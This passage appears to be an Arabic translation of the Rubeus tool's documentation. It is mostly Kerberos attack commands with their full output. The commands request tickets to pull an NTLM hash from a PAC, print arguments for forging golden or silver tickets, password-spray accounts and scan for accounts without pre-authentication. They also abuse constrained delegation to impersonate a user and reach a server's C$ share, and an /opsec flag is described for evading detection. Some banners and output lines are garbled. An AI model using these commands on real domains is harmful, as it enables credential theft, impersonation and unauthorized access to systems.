|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: List Kerberos Tickets (Current User)

    [0] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
    Server Name       : cifs/primary.testlab.local @ TESTLAB.LOCAL
    Client Name       : dfm.a @ TESTLAB.LOCAL
    Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)

    [1] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
    Server Name       : LDAP/primary.testlab.local @ TESTLAB.LOCAL
    Client Name       : dfm.a @ TESTLAB.LOCAL
    Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)

طلب تذكرة خدمة لحساب خدمة ممكّن لـ AES، مع تحديد أننا ندعم RC4_HMAC فقط:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.1

[*] Action: Ask TGS

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Requesting 'rc4_hmac' etype for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):

    doIFrjCCBaqgAwIBBaEDA...(snip)...

[*] Action: Describe Ticket

UserName              :  dfm.a
UserRealm             :  TESTLAB.LOCAL
ServiceName           :  roast/me
ServiceRealm          :  TESTLAB.LOCAL
StartTime             :  2/25/2019 3:10:59 PM
EndTime               :  2/25/2019 8:09:54 PM
RenewTill             :  3/4/2019 3:09:54 PM
Flags                 :  name_canonicalize, pre_authent, renewable, forwardable
KeyType               :  rc4_hmac
Base64(key)           :  Gg3zZicIl5c50KGecCf8XA==

طلب تذكرة خدمة من مستخدم إلى مستخدم وتضمين قسم PA-DATA الخاص بـ PA for User (طلب S4U2self)، من الممكن الحصول على PAC قابل للقراءة لأي مستخدم:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /u2u /targetuser:ccob /ticket:doIFijCCBYagAwIBBaED...(snip)...3RwYWNrLmxvY2Fs /tgs:doIFijCCBYagAwIBBaEDAg...(snip)...YWNrLmxvY2Fs

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGS

[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'exploitph'
[+] TGS request successful!
[*] base64(ticket.kirbi):

      doIFKzCCBSegAwIBBaEDAgEWooIEKzCCBCdhggQjMIIEH6ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      cGxvaXRwaA==ServiceName              :  exploitph
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  ccob
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  20/07/2021 22:00:07
  EndTime                  :  21/07/2021 07:59:39
  RenewTill                :  27/07/2021 21:59:39
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  u2AYdjG4gLNIXqzb3MmwtDtE1k2NR5ty9h80w704+8Q=
  Decrypted PAC            :
    LogonInfo              :
      LogonTime            : 01/01/1601 00:00:00
      LogoffTime           :
      KickOffTime          :
      PasswordLastSet      : 20/07/2021 21:58:44
      PasswordCanChange    : 21/07/2021 21:58:44
      PasswordMustChange   : 31/08/2021 21:58:44
      EffectiveName        : ccob
      FullName             : C Cob
      LogonScript          :
      ProfilePath          :
      HomeDirectory        :
      HomeDirectoryDrive   :
      LogonCount           : 0
      BadPasswordCount     : 0
      UserId               : 1109
      PrimaryGroupId       : 513
      GroupCount           : 1
      Groups               : 513
      UserFlags            : (32) EXTRA_SIDS
      UserSessionKey       : 0000000000000000
      LogonServer          : PDC1
      LogonDomainName      : RUBEUS
      LogonDomainId        : S-1-5-21-3237111427-1607930709-3979055039
      UserAccountControl   : (16) NORMAL_ACCOUNT
      ExtraSIDCount        : 1
      ExtraSIDs            : S-1-18-2
      ResourceGroupCount   : 0
    ClientName             :
      Client Id            : 20/07/2021 21:59:39
      Client Name          : ccob
    UpnDns                 :
      DNS Domain Name      : RUBEUS.GHOSTPACK.LOCAL
      UPN                  : [email protected]
      Flags                : 0
    ServerChecksum         :
      Signature Type       : KERB_CHECKSUM_HMAC_MD5
      Signature            : 79A2DC5595C76FA85155B4C65B3A0EE1 (VALID)
    KDCChecksum            :
      Signature Type       : KERB_CHECKSUM_HMAC_SHA1_96_AES256
      Signature            : DA57618BB48EA56371E374B1 (UNVALIDATED)

إذا كان بإمكان فك تشفير PAC (باستخدام طلب مستخدم-إلى-مستخدم أو عن طريق تمرير /servicekey) فمن الممكن طباعة الوسائط المطلوبة لتزوير تذكرة تحتوي على نفس قيم PAC:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /service:roast/me /printargs /servicekey:9FFB199F118556F579B415270EE835005227FCBF29331DAC27C4397AC353F52B /ticket:doIF9DCCBfCgAwIBBaEDAg...(snip)...cGFjay5sb2NhbA==

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGS

[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):

      doIF6jCCBeagAwIBBaEDAgEWooIE5zCCBONhggTfMIIE26ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      AgECoQ0wCxsFcm9hc3QbAm1l

  ServiceName              :  roast/me
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  harmj0y
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  20/07/2021 00:02:27
  EndTime                  :  20/07/2021 09:57:46
  RenewTill                :  26/07/2021 23:57:46
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  U9Vnk0QnOmByQqF7i+5ujkinm9pRrevcRhw1sKVEVi4=
  Decrypted PAC            :
    LogonInfo              :
      LogonTime            : 19/07/2021 23:00:38
      LogoffTime           :
      KickOffTime          :
      PasswordLastSet      : 14/07/2021 02:07:12
      PasswordCanChange    : 15/07/2021 02:07:12
      PasswordMustChange   :
      EffectiveName        : harmj0y
      FullName             : Harm J0y
      LogonScript          :
      ProfilePath          :
      HomeDirectory        :
      HomeDirectoryDrive   :
      LogonCount           : 8
      BadPasswordCount     : 0
      UserId               : 1106
      PrimaryGroupId       : 513
      GroupCount           : 1
      Groups               : 513
      UserFlags            : (32) EXTRA_SIDS
      UserSessionKey       : 0000000000000000
      LogonServer          : PDC1
      LogonDomainName      : RUBEUS
      LogonDomainId        : S-1-5-21-3237111427-1607930709-3979055039
      UserAccountControl   : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
      ExtraSIDCount        : 1
      ExtraSIDs            : S-1-18-1
      ResourceGroupCount   : 0
    CredentialInfo         :
      Version              : 0
      EncryptionType       : rc4_hmac
      CredentialData    :   *** NO KEY ***
    ClientName             :
      Client Id            : 19/07/2021 23:57:46
      Client Name          : harmj0y
    UpnDns                 :
      DNS Domain Name      : RUBEUS.GHOSTPACK.LOCAL
      UPN                  : [email protected]
      Flags                : 0
    ServerChecksum         :
      Signature Type       : KERB_CHECKSUM_HMAC_SHA1_96_AES256
      Signature            : 96FA020562EE73B38D31AEEF (VALID)
    KDCChecksum            :
      Signature Type       : KERB_CHECKSUM_HMAC_SHA1_96_AES256
      Signature            : E7FDCBAF5F580DFB567DF102 (UNVALIDATED)


[*] طباعة قائمة الوسائط لاستخدامها مع أوامر Rubeus 'golden' أو 'silver':

/user:harmj0y /id:1106 /pgid:513 /logoncount:8 /badpwdcount:0 /sid:S-1-5-21-3237111427-1607930709-3979055039 /netbios:RUBEUS /displayname:"Harm J0y" /groups:513 /sids:S-1-18-1 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1d /dc:PDC1.RUBEUS.GHOSTPACK.LOCAL /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD

استخدام PKINIT لطلب TGT ثم طلب تذكرة خدمة من مستخدم إلى مستخدم للوصول إلى تجزئة NTLH المخزنة داخل PAC (تنفيذ العلم /getcredentials يدويًا لـ asktgt):

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /u2u /asrepkey:CC9D16AB01D1BD0EF9EBD53C8AD536D9 /ticket:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== /tgs:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA==

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGS

[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'harmj0y'
[+] TGS request successful!
[*] base64(ticket.kirbi):

      doIFxTCCBcGgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      RVVTLkdIT1NUUEFDSy5MT0NBTKkUMBKgAwIBAaELMAkbB2hhcm1qMHk=

  ServiceName              :  harmj0y
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  harmj0y
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  19/07/2021 23:01:05
  EndTime                  :  20/07/2021 09:00:38
  RenewTill                :  26/07/2021 23:00:38
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  Qm9zdwFIINSHAAmqaviuEw==
  ASREP (key)              :  CC9D16AB01D1BD0EF9EBD53C8AD536D9
  Decrypted PAC            :
    LogonInfo              :
      LogonTime            : 19/07/2021 22:59:21
      LogoffTime           :
      KickOffTime          :
      PasswordLastSet      : 14/07/2021 02:07:12
      PasswordCanChange    : 15/07/2021 02:07:12
      PasswordMustChange   :
      EffectiveName        : harmj0y
      FullName             : Harm J0y
      LogonScript          :
      ProfilePath          :
      HomeDirectory        :
      HomeDirectoryDrive   :
      LogonCount           : 7
      BadPasswordCount     : 0
      UserId               : 1106
      PrimaryGroupId       : 513
      GroupCount           : 1
      Groups               : 513
      UserFlags            : (32) EXTRA_SIDS
      UserSessionKey       : 0000000000000000
      LogonServer          : PDC1
      LogonDomainName      : RUBEUS
      LogonDomainId        : S-1-5-21-3237111427-1607930709-3979055039
      UserAccountControl   : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
      ExtraSIDCount        : 1
      ExtraSIDs            : S-1-18-1
      ResourceGroupCount   : 0
    CredentialInfo         :
      Version              : 0
      EncryptionType       : rc4_hmac
      CredentialData       :
        CredentialCount    : 1
          NTLM             : C69A7EA908898C23B72E65329AF7E3E8
    ClientName             :
      Client Id            : 19/07/2021 23:00:38
      Client Name          : harmj0y
    UpnDns                 :
      DNS Domain Name      : RUBEUS.GHOSTPACK.LOCAL
      UPN                  : [email protected]
      Flags                : 0
    ServerChecksum         :
      Signature Type       : KERB_CHECKSUM_HMAC_MD5
      Signature            : ADEC4A1A7DF70D0A61047E510E778454 (VALID)
    KDCChecksum            :
      Signature Type       : KERB_CHECKSUM_HMAC_SHA1_96_AES256
      Signature            : 6CF688E02147BEEC168E0125 (UNVALIDATED)

ملاحظة: يجب تمرير /asrepkey من استرجاع TGT لفك تشفير قسم CredentialData حيث يتم تخزين تجزئة NTLM، ولكن وسيطة /servicekey غير مطلوبة هنا لأن مفتاح الجلسة من TGT يُستخدم لأن الطلب هو من مستخدم إلى مستخدم.

طلب تذكرة خدمة باستخدام الجلسة الحالية المسجلة الدخول:``` Rubeus.exe asktgs /service:LDAP/dc.ghostpack.local /nowrap


(_____ \ | | ) ) | | _____ _ _ ___ | __ /| | | | _ | ___ | | | |/) | | \ | || | |) ) | || | | || ||/|/|_____)__/(_/

v2.3.3

[*] Action: Ask TGS

[=] Requesting service ticket via LSA authentication package 2 using handle 0x9625072 [*] base64(ticket.kirbi):

root@kitploit:~
  doIGvDCCBrigAwIBBaEDAg(..snip..)

ServiceName : LDAP/dc.ghostpack.local ServiceRealm : GHOSTPACK.LOCAL UserName : CCob (NT_PRINCIPAL) UserRealm : GHOSTPACK.LOCAL StartTime : 25/02/2025 09:08:11 EndTime : 25/02/2025 18:48:39 RenewTill : 03/03/2025 12:47:40 Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : k2xUOHFN1Xg(...snip...)

root@kitploit:~
طلب TGT لحساب الكمبيوتر المحلي عبر التجديد. يتطلب وصول مسؤول محلي.  إذا كان credential guard موجودًا، لن يكون استخدام التذكرة ممكنًا بعيدًا عن المضيف.```
Rubeus.exe asktgs /service:krbtgt/ghostpack.local /luid:0x3e7

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Ask TGS

[=] Requesting service ticket via LSA authentication package 2 using handle 0x10441184
[*] base64(ticket.kirbi):

      doIGuTCCBrWg(...snip...)IFhb3MuZGV2

  ServiceName              :  krbtgt/ghostpack.local
  ServiceRealm             :  GHOSTPACK.LOCAL
  UserName                 :  DC$ (NT_PRINCIPAL)
  UserRealm                :  GHOSTPACK.LOCAL
  StartTime                :  25/02/2025 09:18:37
  EndTime                  :  25/02/2025 11:35:10
  RenewTill                :  02/03/2025 10:35:06
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  k2xUOHFN1Xg(...snip...)

تجديد

إجراء renew سيبني/يحلل تبادل تجديد TGS-REQ/TGS-REP خام باستخدام /ticket:X المقدم. يمكن أن تكون هذه القيمة ترميز base64 لملف .kirbi أو المسار إلى ملف .kirbi على القرص. إذا لم يتم تحديد /dc، يتم استخراج وحدة تحكم المجال الحالية للكمبيوتر واستخدامها كوجهة لحركة التجديد. العلم /ptt سيقوم بـ "pass-the-ticket" وتطبيق بيانات اعتماد Kerberos الناتجة على جلسة تسجيل الدخول الحالية.

لاحظ أن TGTs يجب تجديدها قبل وقت انتهائها (EndTime)، ضمن نافذة RenewTill.

root@kitploit:~
C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Renew TGT

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):

    doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!

العلم /autorenew سيأخذ ملف/ blob .kirbi موجود /ticket:X، وينام حتى endTime-30 دقيقة، ويجدد التذكرة تلقائيًا ويعرض blob التذكرة المجددة. وسيواصل عملية التجديد هذه حتى تمر نافذة التجديد المسموح بها (renew-till).

root@kitploit:~
C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.3.3

[*] Action: Auto-Renew TGT


[*] User       : [email protected]
[*] endtime    : 2/10/2019 11:44:09 PM
[*] renew-till : 2/17/2019 6:44:09 PM
[*] Sleeping for 263 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected]

[*] Action: Renew TGT

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):

      doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...

brute

إجراء brute سينفذ هجوم تخمين كلمة مرور أو رش كلمة مرور (password spraying) مبني على Kerberos. يمكن أيضًا استخدام spray كاسم الإجراء.

root@kitploit:~
C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[-] Blocked/Disabled user => Guest
[-] Blocked/Disabled user => DefaultAccount
[-] Blocked/Disabled user => krbtgt
[-] Blocked/Disabled user => disabled
[+] STUPENDOUS => newuser:Password123!!
[*] base64(newuser.kirbi):

      doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)...

preauthscan

إجراء preauthscan سيرسل AS-REQ لجميع أسماء المستخدمين الممررة في وسيط /users لاكتشاف الحسابات التي لا تتطلب المصادقة المسبقة لـ Kerberos.

root@kitploit:~
C:\Rubeus>Rubeus.exe preauthscan /users:uns.txt /domain:semperis.lab /dc:192.168.71.220

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: Scan for accounts not requiring Kerberos Pre-Authentication

[*] cclark: Pre-Auth Required
[*] jjones: Pre-Auth Not Required
[*] rwilliams: Pre-Auth Required
[*] svc_sqlserver: Pre-Auth Required
[*] pgreen: Pre-Auth Required
[*] jsmith: Pre-Auth Required
[*] tnahum: Pre-Auth Required
[*] sfederovsky: Pre-Auth Required

إساءة استخدام التفويض المقيد (Constrained delegation abuse)

تفصيل أوامر التفويض المقيد:

الأمرالوصف
s4uتنفيذ إجراءات S4U2self و S4U2proxy

s4u

إجراء s4u مطابق تقريبًا لوظيفة tgs::s4u الخاصة بـ Kekeo. إذا كان حساب مستخدم (أو كمبيوتر) مهيأ للتفويض المقيد (أي لديه قيمة SPN في حقل msds-allowedtodelegateto الخاص به)، يمكن استخدام هذا الإجراء لإساءة استخدام الوصول إلى SPN/الخادم الهدف. التفويض المقيد معقد. لمزيد من المعلومات، راجع هذا المنشور أو منشور إيلاد شامير "Wagging the Dog".

شرح مختصر هو أن الحساب الذي لديه تفويض مقيد مفعل يُسمح له بطلب التذاكر لنفسه كأي مستخدم، في عملية تُعرف باسم S4U2self. لكي يُسمح للحساب بذلك، يجب أن يكون لديه خاصية TrustedToAuthForDelegation مفعلة في خاصية useraccountcontrol الخاصة به، وهو شيء لا يمكن تعديله إلا من قبل المستخدمين ذوي الصلاحيات العالية افتراضيًا. هذه التذكرة تحمل العلم FORWARDABLE افتراضيًا. يمكن للخدمة بعد ذلك استخدام هذه التذكرة المطلوبة خصيصًا لطلب تذكرة خدمة لأي اسم رئيس خدمة (SPN) محدد في حقل msds-allowedtodelegateto الخاص بالحساب. باختصار، إذا كان لديك سيطرة على حساب مع تعيين TrustedToAuthForDelegation وقيمة في msds-allowedtodelegateto، يمكنك التظاهر بأنك أي مستخدم في المجال أمام SPNs المحددة في حقل msds-allowedtodelegateto للحساب.

هذه "السيطرة" يمكن أن تكون تجزئة الحساب (/rc4 أو /aes256)، أو TGT موجود (/ticket:X) للحساب مع قيمة msds-allowedtodelegateto محددة. إذا تم تقديم /user وتجزئة rc4/aes256، فإن وحدة s4u تقوم أولاً بإجراء asktgt، باستخدام التذكرة المعادة للخطوات التالية. إذا تم تقديم TGT /ticket:X، يتم استخدام ذلك TGT بدلاً من ذلك.

إذا تم تقديم تجزئة حساب، يمكن استخدام المفتاح /nopac لطلب TGT الأولي بدون PAC.

يمكن استخدام وكيل KDC (MS-KKDCP) لتقديم الطلبات باستخدام الوسيط /proxyurl:URL. مطلوب عنوان URL الكامل لوكيل KDC، على سبيل المثال https://kdcproxy.exmaple.com/kdcproxy. عند استخدامه لأمر s4u، سيتم إرسال جميع الطلبات عبر الوكيل.

يجب تقديم وسيط /impersonateuser:X إلزاميًا لوحدة s4u. إذا لم يتم تقديم أي شيء آخر، يتم تنفيذ عملية S4U2self فقط، مع إرجاع تذكرة قابلة للتحويل (forwardable):

root@kitploit:~
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...


[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):

    doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...

يمكن بعد ذلك استخدام هذه التذكرة القابلة للتحويل كوسيط /tgs:Y (blob base64 أو ملف .kirbi) لتنفيذ عملية S4U2proxy. يجب تقديم قيمة msds-allowedtodelegateto صالحة للحساب (/msdsspn:X). لنفترض أن حساب [email protected] يبدو هكذا:

root@kitploit:~
PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local

عندئذ، تكون وظيفة إساءة استخدام S4U2proxy (باستخدام التذكرة من عملية S4U2self السابقة) كما يلي:

root@kitploit:~
C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: S4U

[*] Loaded a TGS for TESTLAB.LOCAL\[email protected]
[*] Impersonating user '[email protected]' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':

    doIGujCCBragAwIBBaEDAgEWoo..(snip)..

حيث /ticket:X هو TGT المعاد في الخطوة الأولى، و /tgs هو تذكرة S4U2self. حقن التذكرة الناتجة (يدويًا باستخدام Rubeus.exe ptt /ticket:X أو بتوفير العلم /ptt لأمر s4u) سيسمح لك بالوصول إلى خدمة ldap على primary.testlab.local كما لو كنت dfm.a.

الوسيط /altservice يستفيد من اكتشاف ألبرتو سولينو العظيم حول كيف أن اسم الخدمة (sname) غير محمي في ملف KRB-CRED، فقط اسم الخادم هو المحمي. هذا يسمح لنا باستبدال أي اسم خدمة نريده في ملف KRB-CRED (.kirbi) الناتج. يمكن توفير اسم خدمة بديل واحد أو أكثر، مفصولة بفواصل (/altservice:cifs,HOST,...).

لنوسع المثال السابق، بتزوير الوصول إلى نظام الملفات على primary.testlab.local عن طريق إساءة استخدام تكوين التفويض المقيد الخاص به واستبدال الخدمة البديلة. دعنا ندمج كل ذلك في خطوة واحدة أيضًا، مع تنفيذ طلب TGT، عملية S4U2self، تنفيذ S4U2proxy، وحقن التذكرة النهائية:

root@kitploit:~
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.

C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIE+jCCBPagAwIBBaEDAgEWoo..(snip)..


[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):

    doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..

[*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local'
[*]   Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local':

    doIGujCCBragAwIBBaEDAgEWoo..(snip)..

[*] Action: Import Ticket
[+] Ticket successfully imported!

C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68

Directory of \\primary.testlab.local\C$

07/05/2018  12:57 PM    <DIR>          dumps
03/05/2017  04:36 PM    <DIR>          inetpub
08/22/2013  07:52 AM    <DIR>          PerfLogs
04/15/2017  05:25 PM    <DIR>          profiles
08/28/2018  11:51 AM    <DIR>          Program Files
08/28/2018  11:51 AM    <DIR>          Program Files (x86)
10/09/2018  12:04 PM    <DIR>          Temp
08/23/2018  03:52 PM    <DIR>          Users
10/25/2018  01:15 PM    <DIR>          Windows
            1 File(s)              9 bytes
            9 Dir(s)  40,511,676,416 bytes free

افتراضيًا، توجد عدة اختلافات بين طلبات TGS-REQ لـ S4U2Self و S4U2Proxy التي يولدها Rubeus والطلبات الحقيقية. لتشكيل طلبات TGS-REQ بشكل أكثر توافقًا مع الطلبات الحقيقية، يمكن استخدام العلم /opsec. نظرًا لأن هذا العلم يهدف إلى جعل حركة Rubeus أكثر تمويهًا، لا يمكن استخدامه افتراضيًا مع أي نوع تشفير بخلاف aes256 وسيؤدي فقط إلى إصدار تحذير ثم الخروج إذا تم استخدام نوع تشفير آخر. للسماح باستخدام أنواع تشفير أخرى مع تغييرات /opsec، يوجد العلم /force. لم يتم تنفيذ العلم /opsec بعد لـ S4U عبر المجالات.

